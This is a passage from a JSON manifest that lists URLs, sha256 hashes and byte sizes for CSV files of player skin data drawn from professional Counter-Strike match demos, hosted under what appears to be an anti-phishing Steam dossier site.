          "sha256": "cee323bad88ebad77cbeabb2bc6a0e7dc691c9c21d3a67174fe6d64df513a4d2",
          "bytes": 71776
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68308_faze-vs-liquid-m1-inferno.dem.skins.csv",
          "sha256": "99fb1fa3f674434731230c3bc0019b5a077ffa58d0c28ebd839378aac0a04fae",
          "bytes": 86788
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68308_faze-vs-liquid-m2-mirage.dem.skins.csv",
          "sha256": "83de13a41828639898f0e44662470721400514786d5ccc791449bcd8471251f2",
          "bytes": 110726
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m1-vertigo.dem.skins.csv",
          "sha256": "96be4c5c7e6d23bcd89136fc447b1263645738a5fbf7bc370236a76a1a11bb37",
          "bytes": 73902
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m2-nuke.dem.skins.csv",
          "sha256": "d646182f4905c8ab165ea2e5895d968e98feb852c2c9ef243eacca281281c0f4",
          "bytes": 70137
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m3-ancient.dem.skins.csv",
          "sha256": "7608e50c9c4d08c6e49d1e30079dd3c84cd5e25ceb0fb9bca729247324374c39",
          "bytes": 76349
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68310_nip-vs-gambit-m1-dust2.dem.skins.csv",
          "sha256": "e6a5e2bb2ce16d6fc024c2dd84cc68171e9a84e3b4341ccaf3d74aeba16b5546",
          "bytes": 112213
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68310_nip-vs-gambit-m2-inferno.dem.skins.csv",
          "sha256": "dca49fb65fd46c747741e88653b44bab91807e5628076cb87bece4748457317b",
          "bytes": 85576
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m1-nuke.dem.skins.csv",
          "sha256": "6b8d977d612d0749b3b91fc21c36f6b2a9d3436ad3c9892b07cc3717aba4e05b",
          "bytes": 126792
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m2-vertigo.dem.skins.csv",
          "sha256": "2ffed61b3ead6a863f8695cc7bdb075276071f67cde41b448b4e1fac43f1a86c",
          "bytes": 96506
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m3-dust2.dem.skins.csv",
          "sha256": "51f87a58d7d7cf5a0db71dacd3660bb7c59f5bb3d7b4737183040a36109f404c",
          "bytes": 97185
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m1-nuke.dem.skins.csv",
          "sha256": "2205b07e3bb25aba4babc3d59af1d9029d13505f0c5588603098569900401339",
          "bytes": 56598
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m2-ancient.dem.skins.csv",
          "sha256": "1b39ab4c5a6145e6a1950dec6799241d2c9157a97477f7b30f78392f0c473e25",
          "bytes": 81985
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m3-overpass.dem.skins.csv",
          "sha256": "0634eaed4df50ca48227bb03bebb1c7d9313a5cc819c914bc86a9c69407c1c7d",
          "bytes": 80406
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m1-ancient.dem.skins.csv",
          "sha256": "42a4141f1c2553168fd5c086be31191a7305238ab11df10c8c5975d77a3984d3",
          "bytes": 47560
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m2-inferno.dem.skins.csv",
          "sha256": "4f86e5cf2346b8c8e88daebda635eafd19c26479d61fb6abe0c0760e18bfa350",
          "bytes": 35422
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m3-vertigo.dem.skins.csv",
          "sha256": "3d5e82bab5173b18c513faa702770dd1f5a72e3876330d6890ab41c323c29514",
          "bytes": 79021
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m1-mirage.dem.skins.csv",
          "sha256": "4a36decc6cb6623510a44f8ec9befcea89cb70437db7080a2932fa8013bd111a",
          "bytes": 102647
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m2-overpass.dem.skins.csv",
          "sha256": "22246ac994570b2326c7b3060e03d6a6f00a7cd70924467a76ac20f374b32a25",
          "bytes": 114380
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m3-dust2.dem.skins.csv",
          "sha256": "9cdbe290111b4690ac008c4638014e80cf255b5883e1ec6e5acd72a63b1b8eef",
          "bytes": 74667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m1-inferno.dem.skins.csv",
          "sha256": "f727a76a09b946f45106a75c8f8a7eeb345a1050b5aa2cc16b4de530999670f2",
          "bytes": 50097
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m2-ancient.dem.skins.csv",
          "sha256": "8cda542eb505d9945b0a979a585134429618a561a28ab0687007b28ae9809810",
          "bytes": 47796
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m3-overpass.dem.skins.csv",
          "sha256": "e42e45075e31f1138a74ca7ab9b77a9e7f5dcdfe2884b44863b37e18fbbe1df6",
          "bytes": 46452
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m1-nuke.dem.skins.csv",
          "sha256": "caeff74841761a57881876e483d8cfcd4a45bfe1dda4c92ecea906f5e9c302e5",
          "bytes": 92861
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m2-inferno.dem.skins.csv",
          "sha256": "a57094ff8ba52b8b385fffd36bbf6248120a52b09fd181a5b150b12177d33d95",
          "bytes": 131166
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m3-ancient.dem.skins.csv",
          "sha256": "aadd600991cf20c23fea97b6e46f821684995b3645a4df84b79aba19c0b539cf",
          "bytes": 150316
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m1-mirage.dem.skins.csv",
          "sha256": "66cf205b4a0b1c2288ef6f46f7d43342557ca5980f28139ea4504449379334b4",
          "bytes": 29670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m2-ancient.dem.skins.csv",
          "sha256": "a3cfff47f44c767e44f6dbb981ac3d51e6836d7cf2a344bb35fb5ea46c77fd36",
          "bytes": 31425
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m3-inferno.dem.skins.csv",
          "sha256": "44850c7b3481cbc9d58162a226f8f229d8f52ad9d7efff37831b6519f351a58a",
          "bytes": 35893
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68366_g2-vs-nip-m1-inferno.dem.skins.csv",
          "sha256": "e4f5327a0dc0c0a810c918cbef4e0a0d052aaa679e45edee479e3a285dd9e8a4",
          "bytes": 113541
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68366_g2-vs-nip-m2-mirage.dem.skins.csv",
          "sha256": "3401991b83e2c3b851978cb69ce87689dfc0bf15ba21f1c8162c91aee13e6f05",
          "bytes": 128469
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68371_gambit-vs-furia-m1-inferno.dem.skins.csv",
          "sha256": "9502d716c85463be2d273014f41985077bedbf2d9621366159596a921f797aa8",
          "bytes": 126000
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68371_gambit-vs-furia-m2-overpass.dem.skins.csv",
          "sha256": "df0a4a58cd94703bfbd4ed3b57102793b43962d8b3efcbae5aab03668704321e",
          "bytes": 83082
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68372_natus-vincere-vs-vitality-m1-dust2.dem.skins.csv",
          "sha256": "56c8567cec0c18ed8e222179dd5617bc06c6fa98b972286f37f37d0eaaa4301d",
          "bytes": 119405
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68372_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv",
          "sha256": "ee972e11bcbfeb696a72fb0a2a537a0537b52bdcca70ff452b7c13a64d3ec6f5",
          "bytes": 110240
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m1-nuke.dem.skins.csv",
          "sha256": "41ee8cab12b2a0c0b44589a5692dc7c56bb251b6aadf9eb766ab7dbed6984ece",
          "bytes": 81326
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m2-mirage.dem.skins.csv",
          "sha256": "790e143266b149ae79b65986928a3e3105a6266b4f0a24d15616cfb2888a2e06",
          "bytes": 76183
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m3-inferno.dem.skins.csv",
          "sha256": "058a2c8b00561a7eabf5b44a10bb237015412b8839e7f985eb27b02a64f00711",
          "bytes": 115924
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68384_gambit-vs-natus-vincere-m1-overpass.dem.skins.csv",
          "sha256": "6c4be4355ef6df5e264c01a137bffa682a3f078d28d93dd1020fd5cf6ae77b8d",
          "bytes": 116899
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68384_gambit-vs-natus-vincere-m2-mirage.dem.skins.csv",
          "sha256": "bce411f930b4461b2abd7c1395677e3dcece97135af86306329c7a3fa7e97162",
          "bytes": 77900
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.skins.csv",
          "sha256": "909b3c362cb2b72e2abb2768e570af579fab5001ee92e175cb027d287c3c03f2",
          "bytes": 109703
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "f6964a144d397640c563c7f96f40e7c232dab58c5038522701f30146f6c6c9df",
          "bytes": 173691
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71861_copenhagen-flames-vs-bad-news-eagles-ancient.dem.skins.csv",
          "sha256": "caa299a072760c2356220edd39486f2cef026579da933ac3f1ed68d569fadd88",
          "bytes": 186063
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71862_heroic-vs-liquid-vertigo.dem.skins.csv",
          "sha256": "5688e83bf384f904b48a0c9003d0cbafec014659ae096eb2b54253633ebfd99e",
          "bytes": 72963
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71863_nip-vs-vitality-overpass.dem.skins.csv",
          "sha256": "0d7e7515018eb66e16bc606ce650af38a4e49b98e0622bd41cce0807e531cf86",
          "bytes": 54235
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71864_cloud9-vs-outsiders-mirage.dem.skins.csv",
          "sha256": "355c23b921fb131601bccf255bd8d51cad3ffc58efa3e0bfeffbd18688585afb",
          "bytes": 90313
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71865_faze-vs-ence-mirage.dem.skins.csv",
          "sha256": "aa4ac8837912582c0460c2c98c47b6cce23f045d73acaf0d9df0dd98a29b8a47",
          "bytes": 54996
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71866_furia-vs-spirit-nuke.dem.skins.csv",
          "sha256": "967314e98900a36f7a62631fa481a406b2dfac926b665571e35d2ff444921205",
          "bytes": 109661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71867_big-vs-imperial-nuke.dem.skins.csv",
          "sha256": "0c26017477d3853f9fbf5b03b871c65a8200ae0002fb2242468efd7d3e0f2561",
          "bytes": 70934
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71868_natus-vincere-vs-g2-mirage.dem.skins.csv",
          "sha256": "43753264bbbf33844d009e0c82e1867ed657f6b21c331f06a3d8afb8a27df264",
          "bytes": 158832
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71869_vitality-vs-outsiders-mirage.dem.skins.csv",
          "sha256": "6e0965b70ce021672b823e6a05337809e748b4d36dd0b451e05420394d0d68a5",
          "bytes": 48844
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71870_heroic-vs-spirit-nuke.dem.skins.csv",
          "sha256": "2be7b2ac620956926e808f63fd661a658a6ba38f62ea9fcc8b3e4f606db5d875",
          "bytes": 121968
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71871_copenhagen-flames-vs-ence-ancient.dem.skins.csv",
          "sha256": "c3efd2e77cb8e2f7190eb477d13b9c24d8fffebd52a25c1618fe97c41fa7e612",
          "bytes": 75875
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71872_faze-vs-bad-news-eagles-ancient.dem.skins.csv",
          "sha256": "a2c9b65b5ac8548976805862eddc150bd89e332fca33ba877cdd8e47efac1045",
          "bytes": 96710
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71873_furia-vs-liquid-ancient.dem.skins.csv",
          "sha256": "fb19f43a83db8a5c0a443a1e1cfa1a17502ef87347da6d6ed8914f96c5cec5d0",
          "bytes": 64203
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71874_big-vs-natus-vincere-ancient.dem.skins.csv",
          "sha256": "dc4fa830da1d0b94256aa51eb255a0ccea42b4caf739ca43f95ad05c504abc4b",
          "bytes": 85676
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71875_g2-vs-imperial-mirage.dem.skins.csv",
          "sha256": "e63ec3282114d0fcdd18236e4dacc143e460099dff7d87b81f6a92cae3a61d83",
          "bytes": 76733
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71876_cloud9-vs-nip-inferno.dem.skins.csv",
          "sha256": "e8ee0ec6dfcefefc17636cd37fb80cf5074746bde38daf2a222bab28629efd45",
          "bytes": 132686
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71878_ence-vs-outsiders-mirage.dem.skins.csv",
          "sha256": "300b7a9245ef3833346217f30ffaf7ecc4f23825d25c9e49ea4cf6a049725c78",
          "bytes": 51462
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71879_heroic-vs-g2-vertigo.dem.skins.csv",
          "sha256": "79d2448b5453270459176b67a0ae87718cdbcbfcc530134bedd6781687c41d4f",
          "bytes": 108948
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71880_big-vs-furia-vertigo.dem.skins.csv",
          "sha256": "24aad53a8dd8a174e8c5c97186af880161ddb882d07c5e11e55cd3b4ecf29be9",
          "bytes": 58167
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71881_cloud9-vs-faze-nuke.dem.skins.csv",
          "sha256": "8ff920f0ae319577531e2ad19c2ddfca7b1a94eb69e5fdde4a776eb112a0ba81",
          "bytes": 72515
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71882_vitality-vs-liquid-m1-mirage.dem.skins.csv",
          "sha256": "6d6ec7d8eff5be29e0a9e003c75ce1eb4eefcfa44adbd84b23daa051ce0786c3",
          "bytes": 60203
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71882_vitality-vs-liquid-m2-dust2.dem.skins.csv",
          "sha256": "15cf1056b71d2e5099a74cb2c05bd6d40173d422e417a0ce427a37b3d3e99be8",
          "bytes": 130947
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m1-vertigo.dem.skins.csv",
          "sha256": "9e4ffd6274ad4c242945238265238b69cd357fba6965bfdd5468dda32bcc50da",
          "bytes": 152989
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m2-mirage.dem.skins.csv",
          "sha256": "be6b815fb5fef2fc0aef71df423c6f1cd6cc29a212dfe1018a78c4ad3706a477",
          "bytes": 95407
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m3-ancient.dem.skins.csv",
          "sha256": "8facbeeef33ddb57956e912984db5e10132c100ca91304ecb10e8ad1b5dcfb01",
          "bytes": 92393
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71887_bad-news-eagles-vs-imperial-m1-inferno.dem.skins.csv",
          "sha256": "6a79d026b21450e3299f0be5e933ab14c4b9ac4acd8191af35060f10d6aa7e51",
          "bytes": 145341
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71887_bad-news-eagles-vs-imperial-m2-mirage.dem.skins.csv",
          "sha256": "a2dad852c1d02c492f647eb6bf3d6350457e5876a562b469d1e086be9de6eff8",
          "bytes": 103404
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m1-inferno.dem.skins.csv",
          "sha256": "2dd08cbdc76d0651fe6e1abc0adae8a78e859f093a0626a226d7af1a8e919953",
          "bytes": 122608
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m2-mirage.dem.skins.csv",
          "sha256": "61ba08db98c95b83595a07db5fd11caf61bd865ae8d91eb6d49b117e6a837fd2",
          "bytes": 139236
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m3-ancient.dem.skins.csv",
          "sha256": "01e43e36835d6a6b6ad3d13f718080652647cef8e3856dfa9888d7568a9243d9",
          "bytes": 86356
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m1-inferno.dem.skins.csv",
          "sha256": "f6d90f86914c5f870ce6fb698fa1e2ffd01114ef890bea6bb9b64421ce9b6608",
          "bytes": 95600
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m2-ancient.dem.skins.csv",
          "sha256": "8efa94836bc703cafa41fe8496fc2a8dda23c29c0f6f8ce588e228a83c10ab25",
          "bytes": 78962
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m3-nuke.dem.skins.csv",
          "sha256": "fdacbb9b8c78756e075ad48e95ed1199349f8cb769ff930c3cc9c083ebb5f21f",
          "bytes": 52963
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m1-mirage.dem.skins.csv",
          "sha256": "be426b278d5cf12ee33d8638a5fc56e56af6ba5cbcc72d13c5a52ca73661ce73",
          "bytes": 43365
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m2-vertigo.dem.skins.csv",
          "sha256": "2472371ddd4126f04916b97d52f86aa2cea2ef49c06cfda8c8a197e8f2f06cee",
          "bytes": 67917
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m3-nuke.dem.skins.csv",
          "sha256": "1a7d4e30697804b54c13516e715697367b125abaa3459c8bed6df049b8880cb7",
          "bytes": 54376
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71894_nip-vs-furia-m1-nuke.dem.skins.csv",
          "sha256": "9b1c1898c1eaafeed4725705f99a65cb9d5e6ca3937f7b8ce9e6a5bfd237c595",
          "bytes": 45120
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71894_nip-vs-furia-m2-inferno.dem.skins.csv",
          "sha256": "118be065a241d4d0811a17d600ca061b97199e9dd8dac973a91dc9c4ae5630a5",
          "bytes": 70317
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m1-inferno.dem.skins.csv",
          "sha256": "3225302a5c10445e99189477c0be0a7f438c2d88abf43350b7ed43b042970af1",
          "bytes": 89722
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m2-vertigo.dem.skins.csv",
          "sha256": "9096cf73e89b11c6f52be64a125802df993517398ad442a250d644cc8f4ec6e3",
          "bytes": 77085
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m3-dust2.dem.skins.csv",
          "sha256": "f61ac21c7c88874f51b86ff2da95d7d8e93eb399e2b7add4725f3146ab29ebc4",
          "bytes": 73870
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m1-overpass.dem.skins.csv",
          "sha256": "a060d54d2dc4f185917c56818cc41ec7c37ceb657a0738f6a25440d35ee89462",
          "bytes": 76014
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m2-mirage.dem.skins.csv",
          "sha256": "18a1a3971ddc9f51c627d004ede1eb58f75778c18e767f7385fffc1e0bd0c0fd",
          "bytes": 63889
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m3-nuke.dem.skins.csv",
          "sha256": "fb91832820758c84f6b9e736606630e5841ee729faf911c10a0d1eac7567ea65",
          "bytes": 42682
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m1-overpass.dem.skins.csv",
          "sha256": "5ee3b1de56d3619ac26211ae23e6858af10c41eee96c5920902a0a4714996dc5",
          "bytes": 169718
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m2-vertigo.dem.skins.csv",
          "sha256": "3b77ac6d363779678305af818b9b469e1b34216514778c636cb98aa58966ce16",
          "bytes": 84707
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m3-mirage.dem.skins.csv",
          "sha256": "242b9fe456fad5b32d0f36982eb849cc1acc31e4c5c4b7ab97cf57238d29bfa1",
          "bytes": 65808
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m1-mirage.dem.skins.csv",
          "sha256": "4f899027eee8f769f3c72f0c5105a7fa01eafcb03e7d94f0257fb9983e1f45c6",
          "bytes": 45535
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m2-overpass.dem.skins.csv",
          "sha256": "d2b02b2bd0f7ba8e38fbf519f7ffa9ddc1ae7f9e9c93cb87a56f58bfae85a332",
          "bytes": 61746
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m3-inferno.dem.skins.csv",
          "sha256": "0c58dadd2682e9b36be0e5959e7dd81487fc519a9b07983ba24deac90ae8b9f3",
          "bytes": 51384
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m1-vertigo.dem.skins.csv",
          "sha256": "dc05bb95bf9e763eed73d5f9751004cd6dff83d313c6c4bc9bac607394aef939",
          "bytes": 62251
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m2-inferno.dem.skins.csv",
          "sha256": "d6d2723d8c9cd6a033dca9f03c52045c21526e1ca9f7883ed87bcefb40268071",
          "bytes": 88303
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m3-ancient.dem.skins.csv",
          "sha256": "143e623b06bddd43b83e657be2d110a2c69d49086538b1feff3c4d29e62c565b",
          "bytes": 66925
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71900_copenhagen-flames-vs-imperial-m1-inferno.dem.skins.csv",
          "sha256": "cb700e17f34366f266aa552a486fa6a51f6b4d186f0dc6d81750cf2da9711fc9",
          "bytes": 52113
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71900_copenhagen-flames-vs-imperial-m2-vertigo.dem.skins.csv",
          "sha256": "3e59de4da11b7160d52d0532a7b0381fdd1aff566e8107e106dc3579465b22ea",
          "bytes": 103546
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "648ab8eb677217a98b2c4ddc61f06c4d2fdc76f6b270a1c3b5a71fb1f8ec43a3",
          "bytes": 71856
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.skins.csv",
          "sha256": "d4a6614728bddb6b30ab6ff8b0f53b4dce851805eff602953fd1e49cd7a3dbea",
          "bytes": 92382
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.skins.csv",
          "sha256": "96cbf6ac1b3797e6dfac09872f73b90fd3455501c139e417f50a258f2b52d864",
          "bytes": 70670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71911_spirit-vs-furia-m1-vertigo.dem.skins.csv",
          "sha256": "8bff71c9510cc31ee8c5cfd7888e9f8e2e9dcc38a0a65387d8fbe46558d470c4",
          "bytes": 95407
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71911_spirit-vs-furia-m2-ancient.dem.skins.csv",
          "sha256": "114a437fd05f196fc69e587688bff28c66329f6f8e9bb89f782ac606bf024f7f",
          "bytes": 77391
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.skins.csv",
          "sha256": "8b53b1706c2e20631b42ff50478bb5b9b83a20471f95f4197b24e6291f65c9fe",
          "bytes": 90984
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.skins.csv",
          "sha256": "36cb25e1c97356ee07c2d2be0372d2042fead0e432e967da392c7ecaeff1c4c5",
          "bytes": 101231
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m1-inferno.dem.skins.csv",
          "sha256": "c3611273ee7910b725c0f3c4d614ab9eba6fbe85f6e412b54824e2d237a48185",
          "bytes": 102926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m2-ancient.dem.skins.csv",
          "sha256": "53e5fe5d75e38376ee0c35f560435f98128ed5816e43074dd3d324d95d2f24e9",
          "bytes": 98605
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m3-nuke.dem.skins.csv",
          "sha256": "8088f359a4543495fcd929e4815cffc3c2f13a485636aeb6a78b1f531feddd83",
          "bytes": 69128
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71964_faze-vs-spirit-m1-mirage.dem.skins.csv",
          "sha256": "051a02503e920da604548680244a324e6c1e472dab50b8444f5ebc56a5bbb9bd",
          "bytes": 113453
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71964_faze-vs-spirit-m2-dust2.dem.skins.csv",
          "sha256": "6ecbc6182cdaea7ce1fda742d620cced906b87a4cc2a75bec00286447a6ba6f6",
          "bytes": 196787
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71965_ence-vs-natus-vincere-m1-nuke.dem.skins.csv",
          "sha256": "24b2f9a35b8ed3d85284dbd33556afaae05586a1dfc777a7201caa0d7f864af6",
          "bytes": 91590
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71965_ence-vs-natus-vincere-m2-dust2.dem.skins.csv",
          "sha256": "694c00138357fee27126433a04c07235f3611df22294eeea1de50e12f57476aa",
          "bytes": 102610
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.skins.csv",
          "sha256": "78880a2ce8fc5810bead5bbe85725c15a87b8b745a9ac955e0c37ae71d1acd54",
          "bytes": 168226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "9f682be4d5fe086ffbe4d7c1566f75c7eb463bfe29221d1e1526bff4d7c413bd",
          "bytes": 111592
        },
        {
